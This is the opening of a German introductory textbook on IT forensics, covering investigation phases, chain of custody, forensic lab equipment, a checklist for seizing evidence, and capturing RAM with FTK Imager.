133 13 12MB
German Pages [400]
MARK B.
BASISWISSEN IT-FORENSIK EINFACH ERKLÄRT
IMPRESSUM Bibliografische Information der Deutschen Nationalbibliothek: Die Deutsche Nationalbibliothek verzeichnet diese Publikation in der Deutschen Nationalbibliografie; detaillierte bibliografische Daten sind im Internet über http://dnb.d-nb.de abrufbar. © 2020-2022 Mark B. Herstellung und Verlag: BoD – Books on Demand, Norderstedt ISBN:
978-3-7562-7015-6
INHALTSVERZEICHNIS VORWORT ................................................................................................................. 8 WAS IST IT-FORENSIK ............................................................................................... 10 Cyberkriminalität ............................................................................................................... 12 ABLAUF EINER FORENSISCHEN UNTERSUCHUNG ...................................................... 14 DAS FORENSISCHE LABOR ........................................................................................ 20 BEWEISSICHERUNG IM NETZWERK ........................................................................... 22 Checkliste für die Beweissicherung ................................................................................... 25 RAM-Speicher mit AVML sichern (Linux) ........................................................................... 28 RAM-Speicher von OS X Systemen sichern ....................................................................... 29 RAM-Speicher von virtuellen Maschinen sichern.............................................................. 30 Tipps für die Beweissicherung ........................................................................................... 31 Klonen von Datenträgern .................................................................................................. 32 Vorbereiten der Ziel-Datenträger ...................................................................................... 33 Verschlüsselung der Ziel-Datenträger ............................................................................... 34 Klonen der Datenträger ..................................................................................................... 42 Wenn der Klonprozess abbricht ........................................................................................ 50 Praxisbeispiel USB Stabilizer / Guardonix .......................................................................... 53 Stolpersteine beim Klonen eines Datenträgers ................................................................. 58 Live Imaging ....................................................................................................................... 60 Logisches Sichern von einzelnen Dateien .......................................................................... 64 Schnelle Analyse mit Binalyze AIR ..................................................................................... 74 Netzwerkverkehr aufzeichnen........................................................................................... 86 Pakete auf Unix- und Linux-Rechnern aufzeichnen........................................................... 96 RAM-ANALYSE MIT VOLATILITY ................................................................................ 98 Volatility 3 ........................................................................................................................ 112 ANALYSE VON DATENTRÄGERN.............................................................................. 116 4
Suche nach Dateifragmenten und gelöschten Dateien ................................................... 118 Dateifragmente untersuchen .......................................................................................... 127 Hashing einzelner Dateien und ganzer Ordner ............................................................... 157 E-Mail - Analyse ............................................................................................................... 163 Untersuchen der Windows Registry ................................................................................ 168 Analyse der Browser ........................................................................................................ 185 Dateianalyse .................................................................................................................... 190 Windows Userpasswörter knacken ................................................................................. 195 Timeline-Analyse ............................................................................................................. 200 Volltextsuche und reguläre Ausdrücke............................................................................ 219 RDP FORENSIK ....................................................................................................... 222 NTFS GENAUER BETRACHTET ................................................................................. 226 MAC Timestamps ............................................................................................................. 227 NTFS Index Attributes - $I30 ............................................................................................ 231 Der Papierkorb................................................................................................................. 234 NTFS Journal .................................................................................................................... 236 Volume Shadow Copies ................................................................................................... 243 BILD-FORENSIK ...................................................................................................... 244 TEMPORÄRE DATEIEN ............................................................................................ 254 PDF-ANALYSE ........................................................................................................ 256 EXE-DATEIEN UNTERSUCHEN ................................................................................. 260 FALLBEISPIEL "EMMA CROOK" ............................................................................... 272 LINUX / UNIX FORENSIK ......................................................................................... 286 Erstellen eines forensischen Images mit Linux ................................................................ 297 Untersuchen und Mounten eines Images ....................................................................... 300 Timeline erstellen ............................................................................................................ 302 The Sleuth Kit ................................................................................................................... 307 5
Log2Timeline / Plaso........................................................................................................ 309 Die wichtigsten Linux/Unix - Artefakte............................................................................ 313 IT-FORENSIK ALS TEILAUFGABE DES CSIRT .............................................................. 316 Beispiel Metasploitable Netzwerkverkehr ...................................................................... 319 MOBILTELEFON FORENSIK...................................................................................... 326 Chip-Off Forensik bei alten / unverschlüsselten Geräten ............................................... 327 Telefone entsperren ........................................................................................................ 337 Fallbeispiel Acer Z530 - Carding....................................................................................... 358 EINFÜHRUNG IN BELKASOFT X ............................................................................... 362 CTF Insider Threat mit Belkasoft X .................................................................................. 381 TIPPS ZUM SCHREIBEN VON BERICHTEN ................................................................. 392 NACHWORT ........................................................................................................... 396 BUCHEMPFEHLUNGEN ........................................................................................... 398
6
7
VORWORT IT-Forensik ist ein sehr spannendes und immer wichtiger werdendes Betätigungsfeld. Die Anzahl der Geräte, auf denen sich Daten befinden, wächst stetig und heute tragen wir Datenspeicher in der Hand- oder Hosentasche und am Handgelenk außerdem haben wir Dutzende weitere Datenspeicher am Arbeitsplatz und zu Hause. Es gibt kaum noch Ermittlungen im strafrechtlichen und im gewerblichen Umfeld, an dem keine IT-Forensiker beteiligt sind. Daher ist dieses Arbeitsfeld auch eine gute Karrieremöglichkeit. Ich will Ihnen mit diesem Buch einen Überblick über die einzelnen Teilbereiche und Techniken geben und Ihnen auch gleichzeitig die nötigsten Grundlagen vermitteln, um die ersten Schritte erfolgreich zu meistern. Wenn Sie Fragen, Anregungen oder Kritik loswerden wollen, schreiben Sie mir bitte an: [email protected] In diesem Sinne wünsche ich Ihnen viel Spaß beim Lesen, Lernen und Experimentieren, Ihr
Mark B.
8
9
WAS IST IT-FORENSIK In der IT-Forensik geht es darum, durch Ermittlungs- und Analysetechniken Beweise auf einem bestimmten IT-System so zu erfassen und zu sichern, dass sie bei einer Gerichtsverhandlung verwertbar sind. Das Ziel dieses auch als Computer- oder digitale Forensik bezeichneten Fachgebiets besteht darin, eine strukturierte Untersuchung durchzuführen und diese zu dokumentieren, damit sich genau feststellen lässt, welche Vorgänge auf einem IT-System stattgefunden haben und wer dafür verantwortlich war. Die Welt wird immer vernetzter und Computer oder mobile Endgeräte sind wie selbstverständlich in unseren Alltag integriert. Daher werden diese Geräte auch für Straftaten verwendet. Hierbei kann eine Tat direkt mit dem Computer begangen werden (zB Hackerangriffe oder Warenbetrug) oder nur durch den Einsatz von IT-Geräten unterstützt werden (zB eine Lösegeldforderung per EMail). Dabei kommt die IT-Forensik in vielen Bereichen vom privaten Sektor über Behörden bis hin zu Militär, Geheimdiensten und Strafverfolgungsbehörden zum Einsatz. Auch wenn der Begriff Computer-Forensik nach wie vor gebräuchlich ist, impliziert dieser aber einen wesentlich kleineren Bereich, der heutzutage nicht mehr wirklich stimmt. Wir haben es in der IT-Forensik mit allen möglichen Geräten von IoT-Geräten über Telefone, Tablets, Laptops und Standcomputer bis zu digitalen Kameras, Speichermedien, Netzwerkgeräten, Navigationssystemen, uvm. zu tun. Nicht jede forensische Untersuchung endet zwangsläufig vor Gericht, aber dennoch muss man als IT-Forensiker immer davon ausgehen, dass dies passieren wird. Da dann eine forensische Untersuchung immer von der Gegenseite infrage gestellt werden wird, muss die Auswahl der Methoden und Tools sowie das Vorgehen bei der Beweissicherung und Untersuchung, die Dokumentation und Analyse den Standards des Gerichts genügen. Das gilt vor allem für die forensisch korrekte Vorgehensweise bei der Beweissicherung und die lückenlose Dokumentation der Beweismittelkette und der einzelnen Untersuchungsschritte. Eine der größten Herausforderungen in der IT-Forensik ist die Tatsache, dass Gesetzgeber und Gerichte nicht wirklich mit den rasanten Entwicklungen in der IT-Welt mithalten können. Erschwerend kommt hinzu, dass Straftaten im 10
Internet oft grenzüberschreitend stattfinden, was es für die Strafverfolgungsbehörden oftmals deutlich erschwert. Dabei sind die wichtigsten Aufgaben: 1. 2. 3. 4. 5.
Das Finden von Beweisen auf IT-Geräten Das Sichern und Bewahren von digitalen Beweisen Das Zuordnen von Handlungen und Vorgängen zu einem Verursacher Datenlecks identifizieren Das Klären von Schäden die durch ein Datenleck oder einen Angriff entstanden sind 6. Das Erstellen eines Untersuchungsberichts 7. Eine Zeugenaussage vor Gericht und/oder das Briefing für eine Zeugenvernehmung Dabei kann man IT-Forensik nach der Art der untersuchten Geräte einteilen: > > > >
Computer-Forensik Mobile-Forensik Netzwerk-Forensik usw.
Im größeren Zusammenhang ist die IT-Forensik ein Teil des Incident Response Prozess Models. Oft sind IT-Forensiker auch Teil eines CSIRT (Computer Security Incident Response Team). Zumindest muss es im CSIRT forensisch geschulte Mitglieder geben, die eine korrekte Beweissicherung durchführen können. Die generelle Vorgehensweise bei einer Untersuchung ist im ISO Standard ISO/IEC 27037:2012 (https://www.iso.org/standard/44381.html) festgehalten. Ihr Vorgehen sollte zumindest diesem Standard entsprechen.
11
Cyberkriminalität Dies sind Verbrechen, die mit IT-Geräten und/oder in Netzwerken wie dem Internet begangen werden. Hierbei gibt es einige Unterscheidungen, nach denen man diese Verbrechen klassifizieren kann. Nach der Herkunft: > Insider Angriffe, die meistens gefährlicher sind, da aktuelle und ehemalige Mitarbeiter oft genau wissen wo die Schwachstellen liegen oder welche Datenlecks den maximalen Schaden verursachen. > Angriffe von Fremden, die aus Eigennutz, Geltungssucht oder im Auftrag eines Dritten durchgeführt werden. Nach der Art der Beteiligung des IT-Gerätes: > Das Gerät ist das Ziel eines Angriffs (zB unautorisierter Zugriff) > Das Gerät wurde für den Angriff eingesetzt (zB DoS-Angriff) > Das Gerät wurde unterstützend eingesetzt (zB: Telefonat mit Komplizen) Nach der Art des Verbrechens: > > > > > > > > > > > >
Verbreitung von Schadware (auch Malware genannt) Ransomware und andere Erpressungsversuche wie Scaremails Hackingangriffe (zB SQL-Injection, Session Hijacking, etc.) Phishing und Pharming Identitätsdiebstahl Spamversand Verkauf illegaler Dienste und Waren (zB im Darknet oder Deepweb) DoS- und DDoS-Angriffe Social Engineering Illegale Verbreitung urheberrechtlich geschützter Werke (Musik, Filme, ...) Cybermobbing etc.
Cyberkriminelle werden immer besser darin Angriffe zu verschleiern und auch Schadware wird immer fortschrittlicher und komplexer. Oftmals forscht man den vermeintlichen Urheber eines Angriffs aus, nur um dann bei der Untersuchung der sichergestellten Beweise zu merken, dass der vermeintliche Täter selbst ein Opfer ist, dessen Computer fremdgesteuert wurde.
12
13
ABLAUF EINER FORENSISCHEN UNTERSUCHUNG Bei einer forensischen Untersuchung durchlaufen wir in der genannten Reihenfolge sechs Schritte. Hierbei gibt es keine Abkürzungen und in der Regel sollten die Schritte auch in der genannten Abfolge ausgeführt werden. Es kann in bestimmten Situationen durchaus vorkommen, dass man von der genannten Reihenfolge abweicht oder Schritte überspringt - dies sollte man im Zweifelsfall aber hinreichend und logisch vor Gericht begründen können. 1. Identifikation Hierbei müssen wir bedenken, dass wenn sich in der realen Welt zwei Objekte berühren, dann hinterlassen diese am jeweils anderen Spuren - das nennt man das Locard'sche Prinzip. Das gleiche gilt auch für die digitale Welt! Hier haben wir allerdings das Problem, dass es im digitalen Umfeld oftmals einfacher ist diese Spuren zu verschleiern oder zu fälschen. Darum sollten wir bei der digitalen Forensik auch jede Aussage durch mindestens zwei unabhängige Spuren und/oder Tools bestätigen lassen. 2. Sicherstellen von Medien Beim Sicherstellen muss verhindert werden, dass eine Manipulation vorgenommen wird. Dies können Snapshots von virtuellen Maschinen sein oder das physische Bewachen von Systemen bis zum Eintreffen einer forensisch ausgebildeten Person für die Beweissicherung. Außerdem muss sichergestellt werden, dass die Geräte vom Netzwerk bzw. dem Internet getrennt werden. Ein Komplize könnte über das Internet zB Beweise von einem Mobiltelefon oder Tablet löschen. Dazu muss das Gerät aber den entsprechenden Befehl bekommen und dazu muss es mit dem Internet verbunden sein. Genau darum müssen wir die Internetverbindung trennen!
14
3. Sicherung der Spuren Hier muss einerseits der Zustand dokumentiert werden (zB waren die Geräte eingeschalten, mit dem Internet verbunden, ...) und auch der Vorgang der Beweissicherung (eingesetzte Programme, Geräte, etc.) und das Handling (zB wurde ein PC heruntergefahren oder einfach der Stecker gezogen, wurden Telefone in Faraday-Beutel verpackt, etc.). Computer enthalten volatile und nicht volatile Daten. Der volatile RAM-Speicher geht verloren, sobald ein PC abgeschaltet wird. Durch die Dokumentation des Zustandes der Geräte beim Eintreffen lässt sich im Nachhinein eindeutig nachweisen, dass zB eine Sicherung des RAM-Speichers nicht möglich war. Der RAM-Speicher kann wichtige Beweise enthalten und sollte, falls möglich, gesichert werden. Beim Herunterfahren eines Rechners werden einige Aufräumvorgänge durchgeführt, die Beweise vernichten könnten - daher ist es besser, den Stecker zu ziehen bzw. den Akku zu entfernen. Dinge wie ARP-Cache, Routing-Tabellen oder temporäre Dateien können wichtige Beweise enthalten. Außerdem muss bei der Sicherung der Daten dafür gesorgt werden, dass eventuelle nachträgliche Manipulation nicht möglich ist. Bedenken Sie hierbei, dass manche der Vorgänge wie zB das Erstellen eines RAM-Dumps selber Spuren hinterlassen - so wird das entsprechende Programm selber einen Fußabdruck im Speicher hinterlassen. Der Vorgang muss also klar und nachvollziehbar sein - nicht nur für Sie, sondern auch für einen IT-Forensiker der Gegenseite, der Ihre Ergebnisse überprüft. Andere Einflussnahme auf die Beweise muss verhindert werden - so kann das Anschließen einer Platte an einen Rechner dazu führen, dass das Betriebssystem diese einbindet und Zeitstempel, Thumbnail-Cache und manches andere verändert. Daher muss so etwas mit einem Writeblocker verhindert werden. Ein solcher Hardware-Writeblocker sorgt dafür, dass keinerlei Schreibvorgänge mehr an den Datenträger gesendet werden. Die Geräte gibt es mit allen möglichen Anschlüssen von IDE über SATA und SAS bis zu USB.
15
Wie Sie sehen, gibt es bereits bei der Spurensicherung viele Möglichkeiten, einen Fall zu ruinieren, bevor wir überhaupt mit der Untersuchung begonnen haben. Daher muss diese auch von entsprechend geschultem Personal durchgeführt und im Idealfall mit Fotos dokumentiert werden. Ein wichtiger Teil der Dokumentation ist die schriftliche Aufzeichnung der Beweismittelkette. Hier muss vermerkt werden wie Beweise gefunden, gesichert, transportiert, analysiert, gelagert und ausgewertet werden. Außerdem wird hierauf auch vermerkt wer die genannten Arbeiten, wann durchgeführt hat. Ohne die ordentliche Dokumentation der Beweismittelkette sind die gewonnenen Informationen nicht verwertbar. Die entsprechende schriftliche Dokumentation muss also folgende Fragen beantworten können: > Was sind die Beweise? > Wo wurden diese gefunden? > Wie war der Zustand der Geräte zum Zeitpunkt der Beweissicherung? (einoder ausgeschaltet, mit dem Internet verbunden, war ein User eingeloggt oder war das System mit einem Passwort vor Zugriff geschützt, usw.) > Wie wurden die Beweise gesichert und transportiert? > Wie wurden die Beweise untersucht? (Programme, Programmversionen, Techniken, etc.) > Wann hatten welche Personen Zugang zu den Beweisen und aus welchem Grund? > Wie wurden die Beweise im weiteren Verlauf der Untersuchung benutzt? 4. Untersuchung In der digitalen Forensik arbeiten wir nicht auf den originalen Beweisen. Wir erstellen eine Kopie, dann eine Kopie der Kopie als Backup und dann untersuchen wir die Kopie. Es sollte jederzeit eine Kopie der ursprünglichen Originaldaten vorgehalten werden für den Fall, dass Daten bei der Untersuchung oder Analyse versehentlich konterminiert werden. Außerdem müssen wir davon ausgehen, dass ein erneutes Sichern der Beweise nicht mehr möglich ist. RAM-Speicher geht verloren, Festplatten können beschädigt werden oder geflippte Bits aufweisen und sind dann nicht mehr verifizierbar. Bedenken Sie, dass magnetische Ladungen in Festplatten genau wie elektrische Ladungen in Flash-Speichern mit der Zeit verblassen. In der IT-Forensik 16
haben wir oft mit den Mühlen des Gesetzes zu tun und diese mahlen bekanntlich langsam. Also müssen wir bedenken, dass Beweise auch noch in einigen Jahren für eine erneute Überprüfung verifizierbar sein müssen. Die Verifizierung ist in der Regel das erneute Berechnen eines Hash-Wertes und das Vergleichen mit dem Ergebnis der gleichen Berechnung, die bei der Beweissicherung auf den Originaldaten durchgeführt wurde. Ändert sich nur ein einziges Bit in den Daten, dann resultiert dies in einer Änderung des errechneten Hashs und die Beweise sind nicht mehr vertrauenswürdig. Vor allem SSDs verblassen je nach verwendetem Speichertyp relativ schnell, jedenfalls viel schneller als magnetische Festplatten. Daher sollte auch immer ein zusätzliches Backup der geklonten Datenträger existieren, falls wir aus Versehen an einer Kopie etwas verändern. Außerdem trennen wir in diesem Schritt Beweise von irrelevanten Daten. 5. Analyse Bei der Analyse arbeiten wir die Beweise durch auf der Suche nach neuen Informationen oder Beweisen, die Annahmen stützen. Hierbei versuchen wir bei jedem Durchgang immer nur eine Frage zu beantworten, um uns auf diese vollumfänglich zu konzentrieren. Wir versuchen, mit Gegenproben alle gefundenen Daten Gleiches gilt für automatische Filter die Forensik-Software permanente Eigenkontrolle und Kontrolle der verwendeten entsprechende Sicherheit, wenn wir die Resultate vor Gericht Auftraggeber präsentieren.
zu verifizieren. anbieten. Eine Tools sorgt für oder vor einem
6. Präsentation Spätestens zu Beginn dieser Phase werden das Ergebnis der Untersuchung und die gefundenen Antworten auf die Fragen der Auftraggeber verschriftlicht. Voreingenommenheit oder die eigene Meinung haben in diesem Bericht aber nichts zu suchen!
17
Ein solcher Bericht muss klar strukturiert und auch für Laien verständlich formuliert sein und trotzdem alle wichtigen technischen Details enthalten damit ein anderer IT-Forensiker die Arbeitsschritte die zu den Ergebnissen führten und die Ergebnisse selber nachvollziehen kann. Außerdem ist diese auch für uns selbst wichtig. Wenn wir uns in eine Sackgasse verrannt haben, müssen wir in der Lage sein unsere Schritte zurückzuverfolgen um dann herauszufinden, wo unser Fehler lag. Daher beginnt das Erstellen des Reports nicht erst am Ende der Untersuchung, sondern bereits bei der Beweissicherung, Untersuchung und Analyse müssen wir entsprechende Notizen anfertigen, um später beim Schreiben des Berichts keine Details zu vergessen. Noch besser wäre es, den Bericht direkt parallel mit der Untersuchung zu erstellen und jede ausgeführte Aktion und jeden Fund sofort im Bericht zu ergänzen. Oftmals kommt es dann vor, dass wie die Ergebnisse dann auch vor Gericht präsentieren müssen und dort als Zeuge oder Sachverständiger auftreten.
18
19
DAS FORENSISCHE LABOR Im Idealfall ist ein forensisches Labor ein eigens abgesperrter und abgeschlossener Bereich. Sie brauchen auch die entsprechende Privatsphäre, um Beweise zu sichten und zu extrahieren. Zumindest muss der Zugang aber auf ausgesuchte Personen beschränkt werden. Keine Person sollte sich im Labor ohne Grund aufhalten dürfen. Dazu kann man beispielsweise ein Zugangskontrollsystem, Monitoring, Alarmanlagen, etc. verwenden. Wenn nicht an den Beweismitteln gearbeitet wird, haben diese sicher versperrt gelagert zu werden. Dazu muss es einen Tresor oder zumindest einen versperrbaren Schrank geben, zu dem nur diejenigen einen Schlüssel haben, die auch eine Untersuchung durchführen. Zu der Mindestausstattung gehören meiner Meinung nach Faraday-Beutel, die Tablets, Laptops und Mobiltelefone vom Mobilfunknetz abschneiden und Hardware-Writeblocker. Diese relativ günstigen Geräte gibt es zB von den Firmen CRU bzw. WiebeTech, Tableau, Epos, DeepSpar, usw. Hier kann man mit einem USB-Writeblocker beginnen denn so gut wie alle Speichermedien kann man auf USB adaptieren. Im Idealfall hat das Labor Writeblocker für die verschiedenen Anschlüsse. Als Computer würde ich einen PC mit ausreichend Speicher, schnellem Mehrkernprozessor (mindestens 8 Kerne) und mindestens 32GB RAM empfehlen. Für das knacken von Passwörtern sollte die Forensik-Workstation auch noch über eine gute Grafikkarte verfügen. Hierbei haben Mittelklasse Gaming-Grafikkarten das beste Preis-/Leistungsverhältnis. Aus Sicherheitsgründen sollte die Forensik-Workstation nicht mit dem Firmennetzwerk oder Internet verbunden sein währen deiner Untersuchung. Einerseits kann ein Windows-Update einen laufenden Prozess wie das Knacken eines Passwortes oder das Klonen eines Datenträgers abbrechen und andererseits wollen Sie auch nicht riskieren, dass Sie Schadware in ihr Firmennetzwerk entlassen oder das diese eine Backdoor öffnen kann und so eine Untersuchung kompromittiert. Aus dem gleichen Grund sollten auch keine forensischen Berichte auf der Workstation geschrieben werden.
20
Große Labore, die viele Datenträger Klonen, haben meist auch einen eigenständigen forensischen Imager wie zB von CRU, Tableau, Atola, JogiCube, ZXi-Forensic und einigen anderen. Im Gegensatz zu günstigen HDD Docks mit Klone-Funktion, die man ab 40 EUR finden kann, garantieren diese Produkte korrektes forensisches Klonen. Für den Aufpreis von mindestens 1.500 EUR erkauft man sich meiner Meinung nach nur die entsprechende Anerkennung aber die IT-Forensik ist kein Feld, in dem man mit ungetesteten Tools experimentiert. Wenn Sie nicht Dutzende Platten pro Woche klonen müssen, dann benötigen Sie auch keinen forensischen Duplikator. Verwenden Sie einfach einen Writeblocker und das kostenlose Tool FTK Imager mit dem wir in einem der nächsten Kapitel arbeiten werden. Bringen Sie aber keinesfalls die ganze Untersuchung in Gefahr, indem Sie irgendwelche alternativen und nicht erprobten Tools, Programme, etc. verwenden! Ein weiteres sehr günstiges, aber auch sehr praktisches Produkt ist ein MouseJiggler. Dieses kleine USB-Gimmick gibt sich als Computermaus aus und bewegt den Cursor alle paar Sekunden damit der PC nicht in den Schlafmodus geht. Die gängigsten Programme für IT-Forensiker sind EnCase, FTK, OSForensics, Oxygen Forensics, Autopsy, Belkasoft und X-Ways Forensics. Wir werden in diesem Buch mit OSForensics arbeiten, da dieses Tool relativ günstig ist und für die gelegentliche Nutzung sogar eine Monatslizenz anbietet. Im Bereich der Mobile-Forensik haben wir Cellebrite, MASB XRY, Oxygen Forensics und MobilEdit. Wobei ich hier für eine gelegentliche Nutzung MobilEdit empfehlen kann, dass eine Single-Phone Lizenz hat. Es gibt aber auch einige kostenlose Linux-Distributionen die für IT-Forensik zusammengestellt wurden. Hier wären DEFT, CAINE, SANS SIFT und als spezielles System zur Malwareanalyse auch REMnux zu nennen.
21
BEWEISSICHERUNG IM NETZWERK In einem kompromittierten Netzwerk ist das Netzwerk selbst ein guter Ausgangspunkt für eine Untersuchung, vor allem wenn nicht klar ist, welche der Systeme kompromittiert sind, lässt die Kommunikation im Netzwerk darauf schließen, welche Systeme man sich näher ansehen sollte. Aber nicht nur der Netzwerkverkehr an sich, sondern auch diverse Logdateien von Routern, Firewalls, IDS/IPS-Systemen, etc. liefern wertvolle Hinweise. Daher müssen diese ebenfalls gesichert und ausgewertet werden! In bestimmten Fällen sind wir aber rechtlich dazu verpflichtet, Mitarbeiter davon in Kenntnis zu setzen, dass Ihre Aktivitäten überwacht werden, um rechtlichen Schwierigkeiten vorzubeugen falls sich auch private Daten in den aufgezeichneten Datenverkehr befinden. Wann dies verlangt ist, müssen Sie mit dem Auftraggeber bzw. deren Rechtsvertretern klären. Als IT-Forensiker sind wir keine Rechtsexperten und sollten uns im Zweifelsfall Rückversichern und sei es nur, um der eigenen Sorgfaltspflicht Genüge zu tun. Im Idealfall haben wir bei einer derartigen Untersuchung ein Netzwerkdiagramm zur Verfügung um Router, Gateways, Subnets und wie diese zusammenhängen schnell und einfach zu überblicken. Leider ist die Welt nicht immer perfekt und nicht in jeder Situation sind wir willkommen und können auf die Mitarbeit oder Informationen der Personen vor Ort bauen. Selbst wenn sind diese oftmals falsch oder unvollständig. Daher muss jede Information überprüft werden. Gleiches gilt für Netzwerkgeräte - diesen sollten Sie auch nicht zu 100% vertrauen da Beweise manipuliert oder die Konfiguration mittlerweile verändert sein könnte. Allein dies zu erkennen kann für sich allein schon eine ziemliche Herausforderung sein. Daher ist das Zusammenführen von Informationen aus verschiedensten Quellen so wichtig. Nur wenn alle Informationen sich gegenseitig verifizieren und ein stimmiges Bild ergeben ist mit großer Wahrscheinlichkeit davon auszugehen, dass diese korrekt sind. Aber logging bringt auch wieder rechtliche Probleme mit sich und ist darum oftmals nicht so ausführlich, wie man sich das als IT-Forensiker wünschen würde. Unterschiedliche Logformate von unterschiedlichen Geräten machen eine Analyse der Logs auch oftmals aufwendiger als nötig. 22
Ein SIEM (Security Information Management System) wäre die Lösung für solche Probleme. Dies führt Logs aus den unterschiedlichen Quellen zusammen und speichert diese an einem zentralen Ort in einem einheitlichen Format. Allerdings sind diese Systeme kosten- und zeitintensiv bei der Anschaffung, Einrichtung und im Betrieb. Daher sind diese oft nicht vorhanden. Ein Opensource Projekt namens Security Onion will diese Lücken ausfüllen. Dieses System stellt eine Linux-Distribution mit verschiedensten Opensource-Tools dar und ist auch nicht wirklich trivial zu implementieren. Es gibt eine ganze Reihe von Tools um Netzwerkverkehr abzufangen und zu analysieren, aber bevor wir uns die Tools ansehen, will ich Sie noch auf eine Limitierung hinweisen. Ist der Netzwerkverkehr verschlüsselt, dann können wir zwar feststellen, welche Systeme miteinander kommunizieren aber nicht was da an Daten übertragen wird. Grundsätzlich kann man das Aufzeichnen des Netzwerkverkehrs auf drei mögliche Arten realisieren: > Spezielle Geräte, die zwischen den Rechner und das Netzwerk gesetzt werden wie zB ein PacketSquirrel von Hak5. > Mit Port-Mirroring / SPANs (Switch Port Ananlyzer), die auf vielen gemanagten Switchen über das Managementinterface aktiviert werden können > Mit Software, die dann auf dem Gateway für das Netzwerksegment oder dem Client, den wir untersuchen wollen, läuft. Als Softwarelösungen wären folgende Tools zu nennen: > TCPdump > WinPcap > Wireshark Hier ist die Dokumentation besonders wichtig sowie das Hashing der Daten, um später bei der Analyse eine Manipulation auszuschließen.
23
BEWEISSICHERUNG VON COMPUTERSYSTEMEN Beachten Sie, dass Tools zur Sicherung von Beweisen in der Regel AdminRechte benötigen, um die Daten zu sichern. Wie bereits erwähnt müssen wir beim Eintreffen zuerst den Zustand der Geräte feststellen und schriftlich dokumentieren und dann entscheiden welche Schritte wir vornehmen. Ist das System in Betrieb, dann sollten wir zur Sicherheit die volatilen Daten aus dem RAM-Speicher sichern auch wenn wir im Moment noch nicht sicher wissen, ob wir diese brauchen, haben wir nach dem ausschalten keine Chance mehr diese Daten zu sichern. So können wir auch vorbeugen, dass ein Sachverständiger der Gegenseite in den Raum stellt, dass wir eventuelle Beweise im RAM nicht gesichert haben. Danach würde ich im Regelfall den Stecker ziehen oder den Akku entfernen, um das System abzuschalten. So vermeide ich, dass ein ordnungsgemäßes Herunterfahren Cleanup-Routinen ausführt und damit Beweise vernichtet. Das Klonen der Datenträger mache ich in der Regel nicht am laufenden System. Ich entnehme die Datenträger, schließe diese an einem Writeblocker an und Klone sie auf einem meiner Systeme. Dafür brauchen wir keine besonders große Systemleistung und daher verwende ich für diese Aufgabe ein paar alte Laptops, auf denen Windows und FTK Imager laufen. Damit das Klonen nicht ewig dauert, sollten die Laptops zumindest zwei USB 3.x Ports haben (einen für das Quell- und einen für das Zielmedium). Aber nicht in allen Fällen können wir ein System offline nehmen - wenn es sich um ein wichtiges System handelt, dass nicht heruntergefahren werden darf, bleibt uns nichts anderes übrig als die Daten im laufenden Betrieb zu sichern. Ein weiteres Szenario ist die partielle Extraktion von Daten, die zB bei CloudDiensten angewandt wird. Hier werden zB nur die Daten eines Useraccounts gesichert und nicht das ganze System. Es gibt sogar die Möglichkeit, eine Remote-Beweissicherung durchzuführen. Ein relativ einfaches System, das das anbietet, wäre Belkasoft R.
24
Checkliste für die Beweissicherung 1. Fotografieren der vorgefundenen Situation Hierbei sollten Fundort, Zustand (an oder aus, Netzwerkkabel angeschlossen oder nicht, ...) erkennbar sein. Dies dient auch der eigenen Sicherheit - nicht selten wird man beschuldigt einen Schaden verursacht oder etwas verlegt zu haben. 2. Sofortmaßnahmen Stellt ein System eventuell ein Risiko für andere Systeme dar, dann trennen Sie die Netzwerkverbindung oder wenn Sie fürchten, dass Schadware Beweise vernichten könnte, sobald der Kontakt zum Command- und ControllServer abbricht, fahren Sie mit Punkt 3 fort und schalten Sie dann das System aus. 3. Sichern Sie den volatilen Speichern Dieser enthält aktive Netzwerkverbindungen, geladene Programme, DLLs und viele weitere Informationen. Auch wenn Sie meinen, diese Informationen im aktuellen Fall nicht zu brauchen, machen Sie es zu Sicherheit. 4. Schalten Sie das System "hart" ab (Stecker ziehen, Akku entfernen, ...) 5. Fotografieren Sie alle Label des PC Vor allem Seriennummern sind wichtig, um später sicherzustellen, dass es dieser PC ist. Bedenken Sie Geräte werden auch weitergereicht und wir wollen auf jeden Fall Verwechselungen ausschließen. 6. Entfernen Sie alle Datenträger und Fotografieren Sie die Label Hier gilt das Gleiche wie für den PC selbst. 7. Klonen Sie die Datenträger falls nötig vor Ort oder verpacken Sie diese für den Transport stoßsicher und in Antistatik-Beuteln Es kann auch nicht schaden die Beutel oder Transportbehälter zu versiegeln, um sicherzustellen, dass diese nicht geöffnet wurden. Ein einfacher weißer Aufkleber mit Ihrer Unterschrift, der sich nicht zerstörungsfrei entfernen lässt, reicht vollauf. 8. Machen Sie Notizen oder zusätzliche Fotos Es kann eine lange Zeit zwischen dem Sichern der Beweise und dem Schreiben des Berichts vergehen. Sie werden sich Details wie Programmversionen, Uhrzeit, genaue Abfolge, etc. nicht alles so lange merken - daher schreiben Sie es auf, diktieren Sie es oder Fotografieren Sie jeden Schritt!
25
RAM-Speicher mit FTK Imager sichern (Windows) In Windows ist das kostenlose Programm FTK Imager eine der einfachsten Möglichkeiten den RAM-Speicher zu sichern. Dieses Tool können wir von https://accessdata.com/product-download/FTKImager-version-4-5 herunterladen. Alternativ dazu gibt es auch ein kostenloses Tool von Belkasoft.
Nachdem wir das Programm gestartet haben, wählen Sie File -> Capture Memory aus und Sie sehen dann den folgenden Dialog:
26
Hier haben Sie die Möglichkeit den Pfad und den Dateinamen für den RAMDump festzulegen und gleich auch den virtuellen Speicher ( pagefile.sys) zu kopieren und eine AccessData-Datei (AD1) anzulegen. Wir brauchen in diesem Fall beides nicht. Die Datei pagefile.sys sichern wir nach dem Ausschalten des Rechners mit dem Klonen der Platte. Klicken Sie auf Capture Memory und warten Sie, bis der Vorgang abgeschlossen ist:
Im Vergleich zu dem Tool von Belkasoft bietet uns FTK Imager aber eine ganze Menge weiterer Funktionen. Daher werden wir dieses Tool für einige weitere Aufgaben einsetzen und alternative Tools werde ich nur am Rande erwähnen. Um schon vorab die Registry untersuchen zu können gibt es die Funktion File -> Obtain protected files. Hierbei haben Sie die Auswahl nur die Daten zum Knacken der Login-Passwörter zu sichern oder die gesamte Registry. Da das Klonen einer Platte einige Stunden dauern kann, können wir so schon mit dem Untersuchen der Registry anfangen, während die Platte geklont wird.
27
